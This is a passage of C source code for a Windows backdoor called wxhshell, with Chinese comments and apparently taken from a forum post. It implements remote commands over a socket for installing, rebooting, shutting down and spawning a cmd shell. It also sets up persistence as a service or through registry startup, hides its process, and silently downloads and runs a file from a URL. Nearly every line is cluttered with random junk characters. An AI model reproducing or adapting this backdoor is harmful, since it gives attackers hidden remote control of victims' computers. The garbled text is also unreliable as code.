  else { v&/-&(+  
J3}C T  
    switch(cmd[0]) { m_ONsZHy  
  y42T.oK8c  
  // 帮助 U,3K6AZA 7  
  case '?': { nsw8[pk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i2R]lE8  
    break; i@?<]n  
  } D@ 1^:'$V  
  // 安装 H.G^!0j;  
  case 'i': { ia.B@u1/  
    if(Install()) z8[|LF-dx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h] TVi$J  
    else |q b92|?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?|rw=%  
    break; Gg,k  
    } ,7nb;$]  
  // 卸载 *E q7r>[  
  case 'r': { 3K] 0sr  
    if(Uninstall()) WD`{kqc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GM56xZ!2T  
    else b0CaoSWo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u^.k"46hn  
    break; :qKY@-t7H  
    } RpXGgw  
  // 显示 wxhshell 所在路径 &XTd[_VW!  
  case 'p': { 8}b[Q/h!  
    char svExeFile[MAX_PATH]; ~=]@], {  
    strcpy(svExeFile,"\n\r"); k  5kX  
      strcat(svExeFile,ExeFile); mztq7[&-  
        send(wsh,svExeFile,strlen(svExeFile),0); 3\~fe/z'I  
    break; 3T^dgWXEG  
    } >N"PLSY1  
  // 重启 QF6JZQh<  
  case 'b': { F&j|Y>m  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p" W0$t.  
    if(Boot(REBOOT)) z`{zqP:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l]=$<  
    else { e~[z]GLO%  
    closesocket(wsh); d33Nx)No  
    ExitThread(0); 7027@M?A?  
    } `5jB|r/  
    break; ~g|0uO}.  
    } fszeJS}Dw  
  // 关机 &=O1Qg=K  
  case 'd': { AS^$1i:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /3%xQK>%  
    if(Boot(SHUTDOWN)) ~4gKA D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &jd<rs5}  
    else { } ZGpd9D  
    closesocket(wsh); I`>%2mP[C  
    ExitThread(0); lD=j/    
    } `r$WInsDu  
    break; UoT}m^ G  
    } ITPp T  
  // 获取shell JNCtsfd  
  case 's': { VQ}3r)ch  
    CmdShell(wsh); ,B>b9,~3a  
    closesocket(wsh); euC,]n.  
    ExitThread(0); ee[NZz  
    break; Pt;Ahmi  
  } RIx6& 7$  
  // 退出 !9OgA  
  case 'x': { ()JDjzQT  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HaUo+,=  
    CloseIt(wsh); % E_{L  
    break; @y&,e,3!  
    } X}^gmu<Vla  
  // 离开 rs+37   
  case 'q': { 1D DOUV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8Y'"=!3  
    closesocket(wsh); cYS+XBz  
    WSACleanup(); k= 1+mG  
    exit(1); Jtk(yp{Zz  
    break; [p<[83' ]  
        } ,6pH *b $  
  } N'.+ezZ;h  
  } |:BYOxAYZ8  
j"8N)la  
  // 提示信息 1"PE@!]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )C6 7qY  
} 9F!&y-  
  } c17==S  
*&MkkI#  
  return; 3f8Z ?[Bb@  
} d69VgLg  
L@GD$F=<0  
// shell模块句柄 ^2@~AD`&h  
int CmdShell(SOCKET sock) ``Rb-.Fq,  
{ l]&)an  
STARTUPINFO si; 1k i"UF/  
ZeroMemory(&si,sizeof(si)); x*)O<K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @U5>w\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NDG Bvb  
PROCESS_INFORMATION ProcessInfo; )Cfrqe1^  
char cmdline[]="cmd"; E+ 20->  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rNp#5[e  
  return 0; Xpwom'  
} Gjr2]t;E  
2 wvDC@  
// 自身启动模式 (P8oXb+%  
int StartFromService(void) &i RX-)^u  
{ r U5'hK  
typedef struct \ } f*   
{ xc?<:h"  
  DWORD ExitStatus; rfpxE>_|G  
  DWORD PebBaseAddress; 4F!d V;"Z(  
  DWORD AffinityMask; [N)M]u  
  DWORD BasePriority; =Y[Ae7e  
  ULONG UniqueProcessId; iq -o$6Pg  
  ULONG InheritedFromUniqueProcessId; G> >_G<x  
}   PROCESS_BASIC_INFORMATION; !CKUkoX  
Cn '=_1p  
PROCNTQSIP NtQueryInformationProcess; U7?ez  
H skN(Ho  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eRbO Hj1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k*^W lCZ3  
X.<R['U&\  
  HANDLE             hProcess; l[k$O$jo  
  PROCESS_BASIC_INFORMATION pbi; :B~c>:  
YZ@-0_Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O!tD1^O!1}  
  if(NULL == hInst ) return 0; _TF>c:m3  
Zlo,#q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ") D!OW]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qC1@p?8$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -^DB?j+  
UtN>6$u  
  if (!NtQueryInformationProcess) return 0; jfamuu7  
B?Skw{&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /G;yxdb  
  if(!hProcess) return 0; >Z% `&D~u  
Y2n*T KXI,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M='Kjc>e  
qzz'v  
  CloseHandle(hProcess); $EF@x}h:A  
d .A0(*k,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TZg7BLfy  
if(hProcess==NULL) return 0; _!7o   
~l~g0J  
HMODULE hMod; ): 6d_g{2  
char procName[255]; .>n|#XK  
unsigned long cbNeeded; 605|*(  
stPCw$@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @AOiZOH  
oV`sCr5%  
  CloseHandle(hProcess);  \Z':hw  
\ 714Pyy  
if(strstr(procName,"services")) return 1; // 以服务启动 *b EsWeP  
r;z A `  
  return 0; // 注册表启动 5,C,q%2  
} Df (6DuW  
o*_D  
// 主模块 5mU_S\)4:z  
int StartWxhshell(LPSTR lpCmdLine) ^>fs  
{ Q1z04m1_y[  
  SOCKET wsl; yhaYlYv[_3  
BOOL val=TRUE; c+=&5=i[3  
  int port=0; SCij5il%  
  struct sockaddr_in door; VzesqVx  
)Yml'?V"  
  if(wscfg.ws_autoins) Install(); ?}[keSEh>  
VM[8w`  
port=atoi(lpCmdLine); D 3PF(Wx  
il~,y8WTU{  
if(port<=0) port=wscfg.ws_port; jPfoI-  
$$a"A(Y  
  WSADATA data; H;2pk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (&(f`c@I  
<T).+ M/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .FUE F)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;/@R{G{+~;  
  door.sin_family = AF_INET; W= !f  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rAKd f??  
  door.sin_port = htons(port); I1g u<a  
}wV rmDh \  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !T*izMX}  
closesocket(wsl); '&d4xc  
return 1; Y~Rwsx  
} =>G A_  
|{ k B`  
  if(listen(wsl,2) == INVALID_SOCKET) { q`P:PRgM  
closesocket(wsl); `f'P  
return 1; <mN3:G  
} iX=*qiVX  
  Wxhshell(wsl); ,P}c92;  
  WSACleanup(); L6m'u6:1{  
Nu'rn*Y_  
return 0; 9L};vkYk#  
|NI0zd  
} ?@_dx=su  
rfjQx]3pB  
// 以NT服务方式启动 V;"'!dVX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nFqMS|EN  
{ LdOB[W  
DWORD   status = 0; Dng^4VRd  
  DWORD   specificError = 0xfffffff; iaB5t<t1r  
t`  Sh!e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /?sV\shy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [# :k3aFz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ev%\YI!MaY  
  serviceStatus.dwWin32ExitCode     = 0; <$ 5\^y,V  
  serviceStatus.dwServiceSpecificExitCode = 0; 3r\QLIr L8  
  serviceStatus.dwCheckPoint       = 0; ZU`"^FQ3A  
  serviceStatus.dwWaitHint       = 0; W>~V?%F&'  
'&9b*u";x(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;>~iCF k]?  
  if (hServiceStatusHandle==0) return; mS0W@#|K  
Wh,kJis<  
status = GetLastError(); @9-qqU@  
  if (status!=NO_ERROR) *4ID$BmO  
{ (< h,R@:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "P6MLf1  
    serviceStatus.dwCheckPoint       = 0; /=N`P &R#  
    serviceStatus.dwWaitHint       = 0; ,0~=9dR  
    serviceStatus.dwWin32ExitCode     = status; y.zW>Mfl  
    serviceStatus.dwServiceSpecificExitCode = specificError; wNlp4Z'[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V|7 c dX#H  
    return; yxH[uJpb  
  } mU!c;O  
<%5ny!]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =6Z 1yw7s  
  serviceStatus.dwCheckPoint       = 0; [lf[J&}X  
  serviceStatus.dwWaitHint       = 0; m\(a{x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w"~T5%p  
} zIu1oF4[  
H_{Yr+p  
// 处理NT服务事件,比如:启动、停止 ,D8 Tca\v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) BEw(SQH  
{ /O9z-!Jz  
switch(fdwControl) aa|xZ  
{ C-8@elZ1  
case SERVICE_CONTROL_STOP: YJ6Xq||_  
  serviceStatus.dwWin32ExitCode = 0; k@?<Aw8 _X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :0J;^@   
  serviceStatus.dwCheckPoint   = 0; NunT1ved  
  serviceStatus.dwWaitHint     = 0; Af;$}P  
  { ="V6z$N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x`4">:IA  
  } e. [h  
  return; "h "vp&A  
case SERVICE_CONTROL_PAUSE: C`fQ` RL\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }u :sh >2  
  break; ^W^%PJ D |  
case SERVICE_CONTROL_CONTINUE: [|vd r.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b<%6aRC\  
  break; #}.db?[Rv  
case SERVICE_CONTROL_INTERROGATE: .k}h'nE  
  break; )/UkJ/}j  
}; Qk((H~I}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d;`JDT  
} ZPXxrmq%  
s\@!J.Da  
// 标准应用程序主函数 hUqIjcuL4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5( 3tPbm{  
{ GE|V^_|i  
_o;alt  
// 获取操作系统版本 L~\Ir  
OsIsNt=GetOsVer(); j sm{|'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =oBV.BST u  
_T1|_9b  
  // 从命令行安装 &Mol8=V)  
  if(strpbrk(lpCmdLine,"iI")) Install(); q:fkF^>  
8q_nOGd  
  // 下载执行文件 `On%1%k8  
if(wscfg.ws_downexe) { :V&#Oo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) cf96z|^C  
  WinExec(wscfg.ws_filenam,SW_HIDE); J=  T!  
} kEi!q  
ikUG`F%W  
if(!OsIsNt) { 8< R#}  
// 如果时win9x,隐藏进程并且设置为注册表启动 W_%Dg]l   
HideProc(); 6:H@= fEv  
StartWxhshell(lpCmdLine); ^5OR%N)  
} HN\9 d  
else 0y*8;7-|r)  
  if(StartFromService()) {$Qw]?Yv  
  // 以服务方式启动 W 5-=,t  
  StartServiceCtrlDispatcher(DispatchTable); Esd A %`  
else d4~!d>{n|c  
  // 普通方式启动 ZjWI~"]  
  StartWxhshell(lpCmdLine); Mp}U>+8  
up1kg>i%"  
return 0; t\ ym4`"  
}
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只看该作者 1 发表于: 2006-10-10
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